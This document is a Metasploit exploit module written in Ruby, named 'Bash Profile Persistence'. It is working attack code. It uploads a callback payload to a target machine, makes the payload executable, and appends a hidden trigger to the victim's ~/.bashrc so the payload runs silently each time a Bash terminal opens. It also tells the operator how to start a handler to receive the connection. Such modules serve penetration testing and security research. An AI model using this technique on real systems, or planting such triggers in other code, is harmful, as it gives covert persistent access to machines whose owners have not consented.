## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Unix def initialize(info = {}) super( update_info( info, 'Name' => 'Bash Profile Persistence', 'Description' => %q{" This module writes an execution trigger to the target's Bash profile. The execution trigger executes a call back payload whenever the target user opens a Bash terminal. A handler is not run automatically, so you must configure an appropriate exploit/multi/handler to receive the callback. "}, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Long ' ], 'DisclosureDate' => 'Jun 8 1989', # First public release of Bourne Again Shell 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'SessionTypes' => ['meterpreter', 'shell'], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd' } }, 'References' => [ ['URL', 'https://attack.mitre.org/techniques/T1156/'] ] )) register_options( [ OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']), OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/']) ] ) end def exploit # expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc') profile_path = datastore['BASH_PROFILE'] if profile_path.start_with?('~/') home_directory = get_env('$HOME') profile_path.sub!(/^~/, home_directory) end # check that target Bash profile file exists unless exist?(profile_path) fail_with Failure::NotFound, profile_path end print_good("Bash profile exists: #{profile_path}") # check that target Bash profile file is writable unless writable?(profile_path) fail_with Failure::NoAccess, profile_path end print_good("Bash profile is writable: #{profile_path}") # create Bash profile backup on local system before persistence is added backup_profile = read_file(profile_path) backup_profile_path = create_backup_file(backup_profile) print_status("Created backup Bash profile: #{backup_profile_path}") # upload persistent payload to target and make executable (chmod 700) payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16) upload_and_chmodx(payload_file, payload.encoded) # write payload trigger to Bash profile exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null append_file(profile_path, exec_payload_string) print_good("Created Bash profile persistence") print_status("Payload will be triggered when target opens a Bash terminal") print_warning("Don't forget to start your handler:") print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}") end # create a backup copy of the target's Bash profile on the local system before persistence is added def create_backup_file(backup_profile) begin hostname = session.sys.config.sysinfo["Computer"] rescue hostname = cmd_exec("hostname") end timestamp = "_" + ::Time.now.strftime("%Y%m%d.%H%M%S") log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp) ::FileUtils.mkdir_p(log_directory_name) log_file_name = log_directory_name + "/Bash_Profile.backup" file_local_write(log_file_name, backup_profile) return log_file_name end end